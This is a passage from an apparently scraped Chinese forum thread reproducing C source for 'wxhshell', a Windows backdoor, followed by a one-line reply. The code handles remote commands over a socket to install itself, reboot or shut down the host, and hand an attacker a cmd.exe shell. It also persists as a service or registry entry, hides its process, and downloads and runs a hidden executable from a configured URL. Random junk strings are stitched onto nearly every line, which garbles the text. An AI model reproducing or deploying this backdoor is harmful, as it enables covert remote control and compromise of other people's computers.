  s'4%ZE2Dr  
  // 帮助 Zk:_Yiki&  
  case '?': { bCL/"OB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x=VLTH/oo  
    break; RoLN#  
  } 089 <B& <  
  // 安装 ]p-x ds#d  
  case 'i': { /a7N:Z_Bz  
    if(Install()) =v:}{~M^$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2K VX  
    else o^8Z cN>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6F8TiR&  
    break; vi; yT.  
    } _X]\#^UiO2  
  // 卸载 6'[gd  
  case 'r': { ~LF1$Cai  
    if(Uninstall()) rf=oH }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N eC]MW  
    else 9@^N* E+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >z|bQW#2  
    break; 3'z L,WW  
    } f!K{f[aDa  
  // 显示 wxhshell 所在路径 9cXL4  
  case 'p': { UpSa7F:Uw  
    char svExeFile[MAX_PATH]; 'Y22HVUX  
    strcpy(svExeFile,"\n\r"); V M{Sng  
      strcat(svExeFile,ExeFile); JKY  
        send(wsh,svExeFile,strlen(svExeFile),0); lKBI3oYn  
    break; q5G`N>"V  
    } x,j%3/J^2  
  // 重启 3S=$ng  
  case 'b': { W!R7D%nX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .$U=ng j\t  
    if(Boot(REBOOT)) Sah!|9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h )% e  
    else { P/,ezVb=  
    closesocket(wsh); FG5YZrONx  
    ExitThread(0); oEJxey]B7  
    } U7xKu75G1  
    break; |<2<`3  
    } J;S Z"I'  
  // 关机 t3<HE_B|  
  case 'd': { kk$D:UQX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )u=46EU_  
    if(Boot(SHUTDOWN)) 9|l6.$Me/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d04fj/B  
    else { UWW'[gEP1  
    closesocket(wsh); ;-quK%VO!  
    ExitThread(0); Z \S'HNU  
    } #Fckev4  
    break; _ 5/3RN  
    } jP31K{G?  
  // 获取shell MZ:Ty,pw:O  
  case 's': { lGXr-K?+Y  
    CmdShell(wsh); lFV\Go  
    closesocket(wsh); Sd *7jW?  
    ExitThread(0); *(o^w'5  
    break; ^%t{:\  
  } p?' F$Wz  
  // 退出 Exz(t'  
  case 'x': { "P!zu(h4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ekCt1^5Y  
    CloseIt(wsh); &\W5|*`x-  
    break; /xb37,   
    } gJg%3K~,  
  // 离开 $xK(bc'{  
  case 'q': { ,GMuq_H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 50^CILKo7  
    closesocket(wsh); A"wso[{  
    WSACleanup(); SN5Z@kK  
    exit(1); *qKf!&  
    break; RPZ -  
        } q@d6P~[-gj  
  } :MILOwF  
  } 6.M!WK{+  
v M $Tn  
  // 提示信息 2>vn'sXdj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B&sa|'0U  
} 9=9R"X>L  
  } LDbo=w  
OyATb{`'  
  return; yJ2A!id  
} ,ik\MSS  
s@K #M  
// shell模块句柄 2$O6%0  
int CmdShell(SOCKET sock) :9W)CwZ)V  
{ W:1GY#Pe  
STARTUPINFO si; kj@m5`G  
ZeroMemory(&si,sizeof(si)); :o_6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~-BIU Z;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r1zuc:W 1  
PROCESS_INFORMATION ProcessInfo; x?2y^3<5  
char cmdline[]="cmd"; (P 9$Ei0fv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TB#oauJm,  
  return 0; 0c]3 ,#  
} $Hal]  
24I~{Qy  
// 自身启动模式 yG:Pg MrB  
int StartFromService(void) 18JAca8Zs  
{ r(Y@;  
typedef struct k7=mxXF  
{ 3M[5_OK   
  DWORD ExitStatus; rlSflcK\\(  
  DWORD PebBaseAddress; ol@LLT_m  
  DWORD AffinityMask; TN.&FDqC9  
  DWORD BasePriority; N=;VS-  
  ULONG UniqueProcessId; N  Bpf  
  ULONG InheritedFromUniqueProcessId; iYz!:TxP  
}   PROCESS_BASIC_INFORMATION; p} i5z_tS  
aWMEo`O%  
PROCNTQSIP NtQueryInformationProcess; cp 5  
gro@+^DmT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f/]g@/`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +"D*0gYD  
|^t8ct?x~  
  HANDLE             hProcess; T0lbMp  
  PROCESS_BASIC_INFORMATION pbi; Z$ 6yB  
H:`[$ ^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E{E%nXR)  
  if(NULL == hInst ) return 0; K*oWcsu  
&+7G|4!y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J@Qw6J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); psAdYEGk!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yWZ%|K~$  
qb$f,E[  
  if (!NtQueryInformationProcess) return 0; k?ksv+e\  
KHt.g`1:R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `+EjmY  
  if(!hProcess) return 0; pYaq1_<+  
YJ~3eZQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qJLtqv  
Oz7WtN  
  CloseHandle(hProcess); 9 e0Oj3!B  
e"6!0Py#*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \&5t@sC  
if(hProcess==NULL) return 0; s(M8 Y  
x)!NB99(tC  
HMODULE hMod; s9b 6l,Z  
char procName[255]; @M]7',2"  
unsigned long cbNeeded; yf7$m_$C'  
MYF6tZ*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nh+f,HtSt  
. [5{  
  CloseHandle(hProcess); "jEf$]  
'U3+'du^8  
if(strstr(procName,"services")) return 1; // 以服务启动 e$y VV#  
~$Pz`amT|  
  return 0; // 注册表启动 FT.;}!"l  
} Oj^qh+r  
J,]U"+;H  
// 主模块 y}!}*Qj+/  
int StartWxhshell(LPSTR lpCmdLine) BjIKs~CT  
{ KsBi<wY  
  SOCKET wsl; -A17tC20J1  
BOOL val=TRUE; \t 04-  
  int port=0; H}B%OFI\+  
  struct sockaddr_in door; [_?dpaTt  
q/HwcX+[b  
  if(wscfg.ws_autoins) Install(); mo- Y %  
q(I`g;MF  
port=atoi(lpCmdLine); %{ToWLb{I  
C"!k`i=Lj  
if(port<=0) port=wscfg.ws_port; ds"q1  
sZ9VXnz24  
  WSADATA data; V_Oj?MMp n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >gFEA0-  
=g+Rk+jn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vZl]C%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qg#|1J6e  
  door.sin_family = AF_INET; ~kW[d1'c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +>wBGVvS  
  door.sin_port = htons(port); e4/Y/:vFO  
5T4!' 4n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E T 2@dY~  
closesocket(wsl); _r&,n\ T  
return 1; 'lD"{^  
} L\Y4$e9bF8  
;}k9YlQrN  
  if(listen(wsl,2) == INVALID_SOCKET) { 8e3I@mv  
closesocket(wsl); -r!sY+Z>  
return 1; !+# pGSk  
} J"Z=`I)KON  
  Wxhshell(wsl); p 3*y8g-  
  WSACleanup(); EFNi# D8s  
I?_YL*  
return 0; 3.?kxac  
7; e$ sr  
} cq,0?2R`t  
c$ skLz  
// 以NT服务方式启动 w`$M}oX(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A%$ZB9#zQ  
{ l mRd l>  
DWORD   status = 0; wjeuZNYf  
  DWORD   specificError = 0xfffffff; mWPA]g(  
OEFAL t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IDIok~B=e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M'D l_dx-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J@vL,C)E6  
  serviceStatus.dwWin32ExitCode     = 0; t5Oeb<REz  
  serviceStatus.dwServiceSpecificExitCode = 0; O.% $oV  
  serviceStatus.dwCheckPoint       = 0; :]hNw1e  
  serviceStatus.dwWaitHint       = 0; #7}1W[y9}l  
y:R!E *.L'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 86AZ)UP2D  
  if (hServiceStatusHandle==0) return; ^Voi 4;  
~d072qUos  
status = GetLastError(); M)JKe!0ad1  
  if (status!=NO_ERROR) ,s9gGCA  
{ A3 |hFk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :_f5(N*{5o  
    serviceStatus.dwCheckPoint       = 0; Y3QrD&V  
    serviceStatus.dwWaitHint       = 0; 2aR<xcSg  
    serviceStatus.dwWin32ExitCode     = status; c?0.>^,B Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; o'SZ sG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AYP*J  
    return; t.`&Q|a  
  } Q`kJ3b   
v?=y9lEH@%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #oX8EMqs<  
  serviceStatus.dwCheckPoint       = 0; XDdF7i}  
  serviceStatus.dwWaitHint       = 0; `, lry7]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~0 Ifg_G  
} hE|W%~Jx  
&Q`{ Gk  
// 处理NT服务事件,比如:启动、停止 G)G 257K"~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &xYO6_.  
{ #NZ#G~oeO  
switch(fdwControl) ^.|P&f~  
{ p?v.42R:z  
case SERVICE_CONTROL_STOP: _P{f+HxU  
  serviceStatus.dwWin32ExitCode = 0; y k{8O.g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0lm7'H*~  
  serviceStatus.dwCheckPoint   = 0; H-|%\9&{S  
  serviceStatus.dwWaitHint     = 0; #@3& 1 }J/  
  { n,_q6/!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Cbi5DtR  
  } NrK.DY4  
  return; Y*Ra!]62  
case SERVICE_CONTROL_PAUSE: ls*bCe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H6t'V%Ys  
  break; _*m<Z;Et  
case SERVICE_CONTROL_CONTINUE: l3O!{&~K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <1%(%KdN[  
  break; Z.l4<  
case SERVICE_CONTROL_INTERROGATE: S<Os\/*  
  break; w$##GM=Tq  
}; A 6IrA/b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EQTJ=\WFF  
} g]Jt (aYK  
?-Zl(uX  
// 标准应用程序主函数  J^V}%N".  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s ]XZQr%  
{ / :z<+SCh  
x=M%QFe  
// 获取操作系统版本 sW^e D;  
OsIsNt=GetOsVer(); /2.}m`5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K8bKTG\  
=f/CBYNw@V  
  // 从命令行安装 0;Oe&Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); yCvP-?2  
srCpgs]h  
  // 下载执行文件 77b^d9! ~  
if(wscfg.ws_downexe) { xMs!FMn[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R0g^0K.  
  WinExec(wscfg.ws_filenam,SW_HIDE); #=g1V?D  
} 1p5n}|  
1)o6jGQ  
if(!OsIsNt) { >'1 h  
// 如果时win9x,隐藏进程并且设置为注册表启动 {Z,_/@}N  
HideProc(); .C*mDi)wZ  
StartWxhshell(lpCmdLine); %;eD.If}  
} ,6EhtNDu  
else [o"<DP6w  
  if(StartFromService()) *671MJ 9  
  // 以服务方式启动 @=sM')f&  
  StartServiceCtrlDispatcher(DispatchTable); 2<FEn$n[  
else 2z9s$tp  
  // 普通方式启动 "P9(k>  
  StartWxhshell(lpCmdLine); PS}'LhZ  
KcvstC`  
return 0; l+A)MJd oj  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八